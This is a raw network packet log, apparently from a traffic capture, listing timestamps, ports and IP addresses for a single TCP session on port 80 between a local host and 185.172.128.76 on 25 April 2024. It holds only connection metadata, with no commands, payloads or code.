Apr 25, 2024 21:48:01.956286907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.956327915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.956407070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.956418991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.956451893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.956471920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.956512928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.956651926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.956692934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.956702948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.956716061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.956736088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.956753016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.956782103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.956824064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.956861019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.956876040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.956887007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.956903934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.956917048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.956993103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.957036018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.957103968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.957145929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.957458019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.957500935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.957817078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.957858086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.957875013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.957906961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.957926035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.957937956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.957957029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.957972050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.958013058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.958054066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.958074093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.958110094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.958117962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.958149910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.958149910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.958179951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.958434105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.958478928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.958498955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.958523035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.958540916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.958547115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.958555937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.958586931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.959815979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.959856033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.959861994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.959889889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.959902048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.959913969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.959933043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.959944010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.959949017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.959974051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.959999084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.960041046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.960064888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.960079908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.960114956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.960114956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.960597992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.960638046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.960640907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.960664034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.960669041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.960692883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.960935116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.961003065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.961081982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.961124897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.961134911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.961220980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.961230993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.961242914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.961272001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.961518049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.961561918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.961585999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.961617947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.961631060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.961642981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.961668968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.961683035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962111950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962124109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962152004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962163925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962169886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962201118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962241888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962280989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962289095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962321043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962344885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962368011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962378025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962402105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962440014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962482929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962513924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962554932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962563038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962594032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962611914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962641954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962737083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962750912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962779045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962795019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962856054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962867975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.962897062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.962913036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963226080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963258982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963269949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963289022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963319063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963330984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963350058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963362932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963485956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963526011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963526964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963557005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963597059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963608980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963620901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963637114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963655949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963675022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963716030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963718891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963751078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963783979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963820934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963893890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963916063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963931084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963933945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963947058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963954926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.963963032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.963988066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.964013100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.964042902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.964129925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.964173079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.964196920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.964226961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.964306116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.964351892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.964378119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.964390039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.964417934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.964431047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.964485884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.964521885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.964579105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.964621067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.964740038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.964752913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.964762926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.964781046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.964797974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.965111971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.965154886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.965225935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.965269089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.965276003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.965306997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.965384007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.965425968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.965603113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.965642929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967279911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967322111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967322111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967353106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967361927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967391014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967417002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967446089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967470884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967482090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967500925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967514992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967540026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967571974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967609882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967643023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967655897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967668056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967686892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967694044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967700958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967706919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967725992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967741966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967761993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967772961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967794895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967808008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967823029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967837095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967854023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967869997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967871904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967889071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967907906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967919111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.967940092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.967973948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968010902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968046904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968064070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968089104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968096018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968116999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968128920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968164921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968203068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968214989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968235016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968250036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968251944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968283892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968318939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968350887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968386889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968421936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968422890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968452930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968477011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968511105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968533039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968563080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968576908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968589067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968600035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968607903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968622923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968626976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968643904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968658924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968672991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968687057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968699932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968713999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968718052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968741894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968750000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968774080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968776941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968811989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968838930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968874931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968899965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968918085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968930006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968934059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968951941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968966961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.968969107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.968997955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.969027042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.969059944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.969095945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.969108105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.969127893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.969142914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.969146013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.969170094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.969177961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.969197989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.969254017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.969264984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.969299078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.969312906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.000263929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.000282049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.000319958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.000334024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.000374079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.000385046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.000397921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.000406981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.009634972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.009681940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.009689093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.009720087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.009721041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.009757042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.009764910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.009804010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.009829044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.009885073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.009910107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.009933949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.009948969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.009974003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010036945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010067940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010076046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010103941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010114908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010126114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010150909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010174990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010193110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010219097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010229111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010257006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010293961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010329962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010365009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010401011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010421038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010452032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010459900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010488987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010505915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010519028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010543108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010551929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.010571957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.010611057 CEST	49704	80	192.168.2.5	185.172.128.76
